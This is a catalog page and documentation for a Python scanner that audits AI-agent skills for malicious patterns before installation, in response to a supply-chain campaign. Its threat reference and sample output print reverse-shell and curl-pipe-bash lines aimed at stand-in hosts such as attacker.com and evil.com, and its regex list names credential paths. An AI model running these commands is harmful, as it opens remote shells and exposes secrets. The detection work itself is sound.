
Clawhub Skill Scanner
- 8 installs
- 33 repo stars
- Updated April 26, 2026
- bighardperson/computer-science-skills-collection
Clawhub-skill-scanner is a skill that performs a mandatory security audit of a skill before installation to detect malicious patterns.
About
Clawhub-skill-scanner is a skill that performs a security audit of another skill before it is installed. It runs deep code analysis to detect malicious patterns such as reverse shells, curl-pipe-bash, credential access, data exfiltration, command injection, and obfuscation. It assigns a risk score and blocks installation when the score is too high.
- Security gatekeeper that scans a skill before installation
- Detects reverse shells, credential access, data exfiltration, and command injection
- Risk scoring that blocks installation above a threshold
Clawhub Skill Scanner by the numbers
- 8 all-time installs (skills.sh)
- Ranked #1,680 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Jul 30, 2026 (Skillselion catalog sync)
clawhub-skill-scanner capabilities & compatibility
- Capabilities
- security audit · code review
- Use cases
- security audit · code review
- Pricing
- Free
What clawhub-skill-scanner says it does
Security gatekeeper for skill installations. MANDATORY before installing any skill from ClawHub,
Performs deep code analysis to detect malicious patterns, credential access, data exfiltration, command injection, and other security risks.
Inspired by the ClawHavoc campaign that compromised 341 malicious skills on ClawHub.
npx skills add https://github.com/bighardperson/computer-science-skills-collection --skill clawhub-skill-scannerAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 8 |
|---|---|
| repo stars | ★ 33 |
| Last updated | April 26, 2026 |
| Repository | bighardperson/computer-science-skills-collection ↗ |
What it does
Scan a skill for malicious patterns and block installation when the risk score is too high.
Who is it for?
Auditing a skill for malicious code before installing it from an external source.
Skip if: Auditing running production infrastructure; it scans skill folders, not live systems.
When should I use this skill?
Before installing any skill from ClawHub, GitHub, or another external source.
What you get
Scores a skill's risk and blocks installation of dangerous ones.
- Security audit report with risk score
- SAFE / CAUTION / DANGER / BLOCKED verdict
By the numbers
- Risk scoring bands: 0-20 SAFE, 21-50 CAUTION, 51-80 DANGER, 81-100 BLOCKED
- CRITICAL findings x 30 as base score
Files
Skill Security Audit
MANDATORY security check before installing external skills.
Inspired by the ClawHavoc campaign that compromised 341 malicious skills on ClawHub.
When to Use
Run this audit BEFORE any skill installation:
clawhub install <skill>- Manual skill download/copy
- Skills from GitHub, URLs, or untrusted sources
Quick Start
# Scan a skill folder
python3 scripts/scan_skill.py /path/to/skill
# JSON output for automation
python3 scripts/scan_skill.py /path/to/skill --json
# Exit code 0 only if SAFE
python3 scripts/scan_skill.py /path/to/skill --install-if-safeWhat It Detects
🔴 CRITICAL (Blocks Installation)
| Category | Patterns |
|---|---|
| Reverse Shells | nc -e, bash /dev/tcp, Python socket shells |
| Curl-Pipe-Bash | `curl \ |
| Credential Access | ~/.ssh, ~/.aws, ~/.openclaw, .env files |
| Data Exfiltration | Discord/Slack webhooks, POST with secrets |
| Malicious Domains | glot.io, pastebin (known malware hosts) |
| Persistence | crontab, systemd, LaunchAgents, .bashrc |
| Command Injection | eval(), exec(), subprocess shell=True |
| Obfuscation | base64 decode pipes, pickle, marshal |
🟡 WARNING (Review Required)
Only patterns that are suspicious regardless of skill type:
- Raw socket usage (unusual for most skills)
- Dynamic code compilation
- File/directory deletion
- Screenshot/keyboard capture libraries
- Low-level system calls (ctypes)
Philosophy
We intentionally don't warn on common patterns like:
- HTTP requests (normal for API skills)
- API key references (normal for integration skills)
- File writes (normal for data skills)
- Environment variable access (normal for config)
This reduces noise so real threats stand out.
Risk Scoring
CRITICAL findings × 30 = Base score
WARNING findings × 3 (capped at 10) = Warning contribution| Score | Level | Action |
|---|---|---|
| 0-20 | 🟢 SAFE | Auto-approve |
| 21-50 | 🟡 CAUTION | Review findings |
| 51-80 | 🔶 DANGER | Detailed review required |
| 81-100 | 🔴 BLOCKED | Do NOT install |
Sample Output
════════════════════════════════════════════════════════════
SKILL SECURITY AUDIT: suspicious-skill
════════════════════════════════════════════════════════════
📊 RISK SCORE: 90/100 - 🔴 BLOCKED
🔴 CRITICAL FINDINGS (3)
[install.py:15] Curl pipe to shell (DANGEROUS!)
Code: os.system('curl https://evil.com/x.sh | bash')
[setup.py:42] Discord webhook exfiltration
Code: requests.post('https://discord.com/api/webhooks/...')
[run.py:8] ClawdBot .env access (ClawHavoc target!)
Code: open(os.path.expanduser('~/.clawdbot/.env'))
📁 FILES SCANNED: 5
📏 TOTAL LINES: 230
════════════════════════════════════════════════════════════
🔴 BLOCK - Do NOT install this skill
════════════════════════════════════════════════════════════Integration with clawhub
Create a wrapper script to auto-scan before installation:
#!/bin/bash
# clawhub-secure: Scan before install
SKILL="$2"
TEMP="/tmp/skill-audit-$$"
# Fetch without installing
clawhub inspect "$SKILL" --out "$TEMP"
# Scan
python3 /path/to/scan_skill.py "$TEMP" --install-if-safe
if [ $? -eq 0 ]; then
clawhub install "$SKILL"
else
echo "🔴 Installation blocked by security scan"
exit 1
fi
rm -rf "$TEMP"References
See references/threat-patterns.md for detailed pattern explanations.
Credits
Developed in response to the ClawHavoc campaign (Feb 2026) that demonstrated large-scale supply chain attacks via AI agent skill marketplaces.
{
"ownerId": "kn73pdcysg2h65erhp32zmjadn80nvys",
"slug": "clawhub-skill-scanner",
"version": "0.1.0",
"publishedAt": 1770363972059
}{
"slug": "clawhub-skill-scanner",
"name": "Clawhub Skill Scanner",
"version": "0.1.0",
"installedAt": 1776152387224,
"source": "skillhub"
}🛡️ ClawHub Skill Scanner
Security scanner for OpenClaw and ClawHub skill installations.
Detect malicious patterns before they compromise your system.
Developed in response to the ClawHavoc campaign (Feb 2026) that compromised 341 malicious skills on ClawHub.
🚀 Quick Start
# Install via ClawHub
clawhub install clawhub-skill-scanner
# Or clone directly
git clone https://github.com/amir-ag/clawhub-skill-scanner.git📖 Usage
# Scan a skill folder
python3 scripts/scan_skill.py /path/to/skill
# JSON output for automation
python3 scripts/scan_skill.py /path/to/skill --json
# Exit code 0 only if SAFE (for CI/CD)
python3 scripts/scan_skill.py /path/to/skill --install-if-safe🔍 What It Detects
🔴 CRITICAL (Blocks Installation)
| Category | Examples |
|---|---|
| Reverse Shells | nc -e, bash /dev/tcp, Python socket shells |
| Curl-Pipe-Bash | `curl \ |
| Credential Access | ~/.ssh, ~/.aws, ~/.openclaw, .env files |
| Data Exfiltration | Discord/Slack webhooks, POST with secrets |
| Malicious Domains | glot.io, pastebin (known malware hosts) |
| Persistence | crontab, systemd, LaunchAgents, .bashrc |
| Command Injection | eval(), exec(), subprocess shell=True |
| Obfuscation | base64 decode pipes, pickle, marshal |
🟡 WARNING (Review Required)
Only patterns that are suspicious regardless of skill type:
- Raw socket usage
- Dynamic code compilation
- File/directory deletion
- Screenshot/keyboard capture libraries
📊 Risk Scoring
| Score | Level | Action |
|---|---|---|
| 0-20 | 🟢 SAFE | Auto-approve |
| 21-50 | 🟡 CAUTION | Review findings |
| 51-80 | 🔶 DANGER | Detailed review required |
| 81-100 | 🔴 BLOCKED | Do NOT install |
📋 Sample Output
════════════════════════════════════════════════════════════
SKILL SECURITY AUDIT: suspicious-skill
════════════════════════════════════════════════════════════
📊 RISK SCORE: 90/100 - 🔴 BLOCKED
🔴 CRITICAL FINDINGS (3)
[install.py:15] Curl pipe to shell (DANGEROUS!)
Code: os.system('curl https://evil.com/x.sh | bash')
[setup.py:42] Discord webhook exfiltration
Code: requests.post('https://discord.com/api/webhooks/...')
📁 FILES SCANNED: 5
📏 TOTAL LINES: 230
════════════════════════════════════════════════════════════
🔴 BLOCK - Do NOT install this skill
════════════════════════════════════════════════════════════🔧 Integration
Pre-Install Hook
#!/bin/bash
# Scan before every clawhub install
SKILL="$1"
TEMP="/tmp/skill-audit-$$"
clawhub inspect "$SKILL" --out "$TEMP"
python3 scan_skill.py "$TEMP" --install-if-safe && clawhub install "$SKILL"
rm -rf "$TEMP"CI/CD Pipeline
- name: Security Scan
run: |
python3 scan_skill.py ./my-skill --install-if-safe
if [ $? -ne 0 ]; then
echo "Security scan failed"
exit 1
fi🤝 Contributing
Found a malicious pattern we don't detect? Open an issue or PR!
See references/threat-patterns.md for the full pattern documentation.
📜 License
MIT License - Use freely, stay safe.
---
Stay vigilant. Scan before you install. 🛡️
Threat Patterns Reference
Detailed explanation of security patterns detected by ClawHub Skill Scanner.
🔴 CRITICAL Patterns
Reverse Shells
Allow attackers remote access to your system.
| Pattern | Example | Risk |
|---|---|---|
nc -e | nc attacker.com 4444 -e /bin/sh | Netcat shell |
bash -i /dev/tcp | bash -i >& /dev/tcp/1.2.3.4/4444 0>&1 | Bash reverse shell |
python socket | python -c 'import socket,subprocess...' | Python shell |
Curl-Pipe-Bash (Primary ClawHavoc Vector!)
Downloads and executes code in one step — no chance for inspection.
# DANGEROUS:
curl https://evil.com/install.sh | bash
wget https://evil.com/setup.sh && chmod +x setup.sh && ./setup.shWebhook Exfiltration
Sends stolen data to external services.
| Pattern | Target |
|---|---|
discord.com/api/webhooks | Discord bot channels |
hooks.slack.com | Slack workspaces |
Known Malicious Domains
Hosts identified in the ClawHavoc campaign:
- glot.io — Code hosting, used for payload delivery
- pastebin.com/raw — Often used for obfuscated code
- paste.ee, ghostbin — Alternative paste services
Persistence Mechanisms
Survive system reboots.
| Pattern | Effect |
|---|---|
crontab - | Scheduled tasks |
/etc/cron | System cron |
systemctl enable | Systemd service |
LaunchAgents | macOS autostart |
.bashrc | Shell login hook |
Credential Access
Access to sensitive files.
| Pattern | Target |
|---|---|
~/.ssh/ | SSH private keys |
~/.aws/ | AWS credentials |
.clawdbot/.env | OpenClaw secrets (ClawHavoc target!) |
~/.openclaw/credentials | API keys |
Obfuscation
Hides malicious code.
| Pattern | Technique |
|---|---|
| `base64 -d \ | ` |
pickle.loads | Python RCE via deserialization |
marshal.loads | Bytecode execution |
🟡 WARNING Patterns
These are not automatically malicious, but suspicious:
- Raw sockets — Unusual for most skills
- Dynamic code compilation — Could hide malicious code
- File deletion — Could remove evidence
- Screen/keyboard capture — Spyware indicators
Scoring Formula
CRITICAL × 30 = Base score
WARNING × 3 (max 10) = Warning contribution
Score 0-20: SAFE ✅
Score 21-50: CAUTION ⚠️
Score 51-80: DANGER 🔶
Score 81-100: BLOCKED 🔴False Positives
The scanner may produce false positives for:
- Documentation —
sudo apt installin README files - Regex patterns —
$SYMBOLfor stock tickers - Legitimate APIs — Webhook endpoints in app code
- Data storage —
.clawdbot/skills/for skill data
For CAUTION results: Manually verify if pattern is in code or just documentation.
Contributing
Found a malicious pattern we don't detect? Open an issue at github.com/amir-ag/clawhub-skill-scanner
#!/usr/bin/env python3
"""
Skill Security Scanner
Analyzes skill code for security risks before installation.
"""
import os
import re
import sys
import json
import argparse
from pathlib import Path
from dataclasses import dataclass, field
from typing import List, Dict, Tuple
from collections import defaultdict
# =============================================================================
# PATTERN DEFINITIONS
# =============================================================================
CRITICAL_PATTERNS = {
# Credential Access
r'\.ssh[/\\]': 'SSH key access',
r'\.aws[/\\]': 'AWS credentials access',
r'\.openclaw[/\\]credentials': 'OpenClaw credentials access',
r'(open|read|load|write).*\.clawdbot': 'ClawdBot config file access',
r'\.clawdbot.*\.env': 'ClawdBot .env access (ClawHavoc target!)',
r'(open|read|load).*\.env': 'Environment file read',
r'dotenv\.load|load_dotenv': 'Dotenv loading',
r'private[_-]?key|privatekey': 'Private key reference',
# Reverse Shells (ClawHavoc attack vector!)
r'nc\s+.*-e': 'Netcat reverse shell',
r'bash\s+-i\s+.*\/dev\/tcp': 'Bash reverse shell',
r'\/bin\/sh\s*\|\s*nc': 'Shell pipe to netcat',
r'python.*socket.*subprocess': 'Python reverse shell pattern',
r'socket\..*connect.*shell': 'Socket-based shell',
r'pty\.spawn': 'PTY spawn (shell escape)',
# Curl-Pipe-Bash (Primary ClawHavoc vector!)
r'curl\s+.*\|\s*(ba)?sh': 'Curl pipe to shell (DANGEROUS!)',
r'wget\s+.*\|\s*(ba)?sh': 'Wget pipe to shell (DANGEROUS!)',
r'curl\s+.*>\s*.*\.sh\s*&&': 'Download and execute script',
r'wget\s+.*&&\s*chmod\s*\+x': 'Download and make executable',
# Webhook Exfiltration
r'discord\.com\/api\/webhooks': 'Discord webhook exfiltration',
r'hooks\.slack\.com': 'Slack webhook exfiltration',
# Removed: webhook.*post - too many false positives (legitimate API endpoints)
# Known Malicious Domains (from ClawHavoc)
r'glot\.io': 'glot.io (known malware host)',
r'pastebin\.com\/raw': 'Pastebin raw (code hosting)',
r'paste\.ee|ghostbin|hastebin': 'Paste service (code hosting)',
r'raw\.githubusercontent\.com.*\.sh': 'GitHub raw shell script',
# Persistence Mechanisms
r'crontab\s+-': 'Crontab modification',
r'\/etc\/cron': 'System cron access',
r'systemctl\s+(enable|start)': 'Systemd service manipulation',
r'LaunchAgents|LaunchDaemons': 'macOS persistence',
r'\.bashrc|\.zshrc|\.profile': 'Shell profile modification',
# Data Exfiltration
r'requests\.(post|put|patch)\s*\([^)]*\b(key|secret|token|password|cred)': 'Credential exfiltration attempt',
r'urllib.*urlopen.*POST': 'URL POST request',
r'curl\s+.*-[dX]\s*(POST|PUT)': 'Curl POST/PUT command',
r'wget\s+.*--post': 'Wget POST command',
r'ngrok|localtunnel|serveo': 'Tunnel service usage',
# Command Injection
r'eval\s*\(': 'eval() usage',
r'exec\s*\(': 'exec() usage',
r'subprocess.*shell\s*=\s*True': 'Shell injection risk',
r'os\.system\s*\(': 'os.system() command execution',
r'os\.popen\s*\(': 'os.popen() command execution',
# File System Attacks
r'open\s*\([^)]*["\']\/etc\/': '/etc/ file access',
r'open\s*\([^)]*["\']\/usr\/': '/usr/ file access',
r'open\s*\([^)]*["\']\/root\/': '/root/ file access',
r'os\.symlink': 'Symlink creation',
r'shutil\.rmtree\s*\([^)]*["\']\/': 'Root directory deletion',
r'rm\s+-rf?\s+\/': 'Dangerous rm command',
# Privilege Escalation - handled specially in scan_file (skip .md files)
r'chmod\s+777': 'World-writable permissions',
r'chmod\s+[0-7]*[67][0-7]{2}': 'Dangerous permission change',
r'setuid|setgid': 'Setuid/setgid usage',
r'chown\s+root': 'Chown to root',
# Crypto/Wallet
r'wallet.*\.dat': 'Wallet file access',
r'seed\s*phrase|mnemonic': 'Seed phrase reference',
r'keystore': 'Keystore access',
r'metamask|phantom|ledger': 'Wallet software reference',
# Obfuscation
r'base64\.(b64)?decode.*exec': 'Base64 decoded execution',
r'base64\s+-d\s*\|': 'Base64 decode pipe (obfuscation)',
r'(\\x[0-9a-fA-F]{2}){10,}': 'Hex-encoded string (long)',
r'zlib\.decompress.*exec': 'Compressed code execution',
r'marshal\.loads': 'Marshal deserialization',
r'pickle\.loads?\s*\(': 'Pickle deserialization (RCE risk)',
# Archive-based Attacks (ClawHavoc used password-protected ZIPs)
r'unzip\s+.*-P': 'Password-protected ZIP extraction',
r'7z\s+.*-p': '7zip with password',
}
WARNING_PATTERNS = {
# Only patterns that are ACTUALLY suspicious regardless of skill type
# Raw sockets (unusual - most skills use requests/urllib)
r'socket\.socket': 'Raw socket usage (unusual)',
# Dynamic code compilation (not just imports, but actual code gen)
r'compile\s*\(.*exec': 'Dynamic code compilation',
r'globals\s*\(\)\s*\[': 'Globals manipulation',
# Sensitive system paths (not home dir - that's normal)
r'\/var\/log': '/var/log access',
r'\/var\/run': '/var/run access',
# File deletion (more concerning than writes)
r'shutil\.rmtree': 'Directory tree deletion',
r'os\.remove|os\.unlink': 'File deletion',
# Email sending (potential spam/phishing)
r'smtplib|send_mail|sendmail': 'Email sending capability',
# Screenshot/keylogging patterns (but not KeyboardInterrupt!)
r'pyscreenshot|pyautogui|pynput': 'Screen/keyboard capture library',
r'\bkeyboard\b(?!Interrupt)': 'Keyboard capture library',
r'ImageGrab|take_screenshot|capture_screen': 'Screenshot capability',
# Process hiding/injection
r'ctypes.*kernel|ctypes.*user32': 'Low-level system calls',
r'win32api|win32con': 'Windows API access',
}
INFO_PATTERNS = {
# Just for awareness - not alarming
# Keeping this minimal to reduce noise
}
# Patterns that are always safe/expected
WHITELIST_PATTERNS = [
r'# ', # Comments
r'"""', # Docstrings
r"'''",
r'https://api\.', # Standard API calls
r'localhost|127\.0\.0\.1', # Local only
]
# =============================================================================
# SCANNER
# =============================================================================
@dataclass
class Finding:
level: str # CRITICAL, WARNING, INFO
file: str
line: int
pattern: str
description: str
context: str = ""
@dataclass
class ScanResult:
skill_name: str
files_scanned: int = 0
total_lines: int = 0
findings: List[Finding] = field(default_factory=list)
@property
def critical_count(self) -> int:
return sum(1 for f in self.findings if f.level == 'CRITICAL')
@property
def warning_count(self) -> int:
return sum(1 for f in self.findings if f.level == 'WARNING')
@property
def info_count(self) -> int:
return sum(1 for f in self.findings if f.level == 'INFO')
@property
def risk_score(self) -> int:
score = 0
score += self.critical_count * 30 # Criticals are serious
score += min(self.warning_count, 10) * 3 # Cap warning contribution
score += min(self.info_count, 5) * 1 # Info barely matters
return min(100, score)
@property
def risk_level(self) -> str:
score = self.risk_score
if score >= 81:
return "BLOCKED"
elif score >= 51:
return "DANGER"
elif score >= 21:
return "CAUTION"
return "SAFE"
@property
def recommendation(self) -> str:
level = self.risk_level
if level == "BLOCKED":
return "🔴 BLOCK - Do NOT install this skill"
elif level == "DANGER":
return "🔶 DANGER - Detailed review required before installation"
elif level == "CAUTION":
return "⚠️ CAUTION - Review findings before proceeding"
return "✅ APPROVE - Safe to install"
def is_whitelisted(line: str) -> bool:
"""Check if line matches whitelist patterns."""
for pattern in WHITELIST_PATTERNS:
if re.search(pattern, line, re.IGNORECASE):
return True
return False
def scan_file(filepath: Path, result: ScanResult) -> None:
"""Scan a single file for security patterns."""
try:
content = filepath.read_text(encoding='utf-8', errors='ignore')
except Exception as e:
return
lines = content.split('\n')
result.total_lines += len(lines)
rel_path = str(filepath)
for line_num, line in enumerate(lines, 1):
# Skip whitelisted lines
if is_whitelisted(line):
continue
# Skip documentation files for certain patterns (install instructions)
is_doc_file = rel_path.endswith(('.md', '.rst', '.txt'))
# Check for sudo in non-doc files only
if not is_doc_file and re.search(r'\bsudo\b', line):
result.findings.append(Finding(
level='CRITICAL',
file=rel_path,
line=line_num,
pattern='sudo',
description='Sudo usage in script',
context=line.strip()[:100]
))
# Special check: shell substitution (avoid regex false positives)
# In .sh files this is completely normal - skip
# Only flag in Python/JS where it shouldn't appear
if '$(' in line and 're.' not in line and "r'" not in line and 'r"' not in line:
if not any(x in line for x in ['regex', 'pattern', 'findall']):
is_shell_file = rel_path.endswith(('.sh', '.bash'))
if not is_shell_file: # Only flag in non-shell files
result.findings.append(Finding(
level='CRITICAL',
file=rel_path,
line=line_num,
pattern='$(...)',
description='Shell command substitution in non-shell file',
context=line.strip()[:100]
))
# Check critical patterns (skip docs for some patterns)
for pattern, desc in CRITICAL_PATTERNS.items():
if re.search(pattern, line, re.IGNORECASE):
# Skip certain patterns in documentation files
if is_doc_file and any(x in pattern for x in ['sudo', 'chmod', 'chown']):
continue
result.findings.append(Finding(
level='CRITICAL',
file=rel_path,
line=line_num,
pattern=pattern[:40],
description=desc,
context=line.strip()[:100]
))
# Check warning patterns (skip in documentation files entirely)
if not is_doc_file:
for pattern, desc in WARNING_PATTERNS.items():
if re.search(pattern, line, re.IGNORECASE):
result.findings.append(Finding(
level='WARNING',
file=rel_path,
line=line_num,
pattern=pattern[:40],
description=desc,
context=line.strip()[:100]
))
# Check info patterns (limit to reduce noise)
if result.info_count < 20:
for pattern, desc in INFO_PATTERNS.items():
if re.search(pattern, line, re.IGNORECASE):
result.findings.append(Finding(
level='INFO',
file=rel_path,
line=line_num,
pattern=pattern[:40],
description=desc,
context=line.strip()[:80]
))
break # Only one INFO per line
def scan_skill(skill_path: Path) -> ScanResult:
"""Scan entire skill directory."""
skill_name = skill_path.name
result = ScanResult(skill_name=skill_name)
# File extensions to scan
extensions = {'.py', '.sh', '.bash', '.js', '.ts', '.md', '.yaml', '.yml', '.json'}
for root, dirs, files in os.walk(skill_path):
# Skip hidden directories
dirs[:] = [d for d in dirs if not d.startswith('.')]
for file in files:
filepath = Path(root) / file
if filepath.suffix.lower() in extensions or file in {'SKILL.md', 'Dockerfile'}:
result.files_scanned += 1
scan_file(filepath, result)
return result
def print_report(result: ScanResult) -> None:
"""Print formatted security report."""
print()
print("═" * 60)
print(f" SKILL SECURITY AUDIT: {result.skill_name}")
print("═" * 60)
print()
# Risk Score
score = result.risk_score
level = result.risk_level
level_emoji = {"SAFE": "🟢", "CAUTION": "🟡", "DANGER": "🔶", "BLOCKED": "🔴"}[level]
print(f"📊 RISK SCORE: {score}/100 - {level_emoji} {level}")
print()
# Critical Findings
criticals = [f for f in result.findings if f.level == 'CRITICAL']
if criticals:
print(f"🔴 CRITICAL FINDINGS ({len(criticals)})")
for f in criticals[:10]: # Limit output
print(f" [{f.file}:{f.line}]")
print(f" Pattern: {f.description}")
print(f" Code: {f.context}")
if len(criticals) > 10:
print(f" ... and {len(criticals) - 10} more")
print()
# Warnings
warnings = [f for f in result.findings if f.level == 'WARNING']
if warnings:
print(f"🟡 WARNINGS ({len(warnings)})")
for f in warnings[:5]:
print(f" [{f.file}:{f.line}] {f.description}")
if len(warnings) > 5:
print(f" ... and {len(warnings) - 5} more")
print()
# Info
infos = [f for f in result.findings if f.level == 'INFO']
if infos:
print(f"🟢 INFO ({len(infos)})")
for f in infos[:3]:
print(f" [{f.file}:{f.line}] {f.description}")
if len(infos) > 3:
print(f" ... and {len(infos) - 3} more")
print()
# Summary
print(f"📁 FILES SCANNED: {result.files_scanned}")
print(f"📏 TOTAL LINES: {result.total_lines}")
print()
print("═" * 60)
print(f" {result.recommendation}")
print("═" * 60)
print()
def main():
parser = argparse.ArgumentParser(description='Skill Security Scanner')
parser.add_argument('path', help='Path to skill directory')
parser.add_argument('--json', action='store_true', help='Output as JSON')
parser.add_argument('--install-if-safe', action='store_true',
help='Return exit code 0 only if safe to install')
args = parser.parse_args()
skill_path = Path(args.path).resolve()
if not skill_path.exists():
print(f"Error: Path not found: {skill_path}", file=sys.stderr)
sys.exit(1)
result = scan_skill(skill_path)
if args.json:
output = {
'skill_name': result.skill_name,
'risk_score': result.risk_score,
'risk_level': result.risk_level,
'recommendation': result.recommendation,
'files_scanned': result.files_scanned,
'total_lines': result.total_lines,
'critical_count': result.critical_count,
'warning_count': result.warning_count,
'info_count': result.info_count,
'findings': [
{
'level': f.level,
'file': f.file,
'line': f.line,
'description': f.description,
'context': f.context
}
for f in result.findings
]
}
print(json.dumps(output, indent=2))
else:
print_report(result)
# Exit code for automation
if args.install_if_safe:
sys.exit(0 if result.risk_level == "SAFE" else 1)
else:
sys.exit(0)
if __name__ == '__main__':
main()
Related skills
FAQ
When should it run?
Before any skill installation, including clawhub install and manual downloads.
What blocks an installation?
A risk score of 81-100 is flagged BLOCKED - do not install.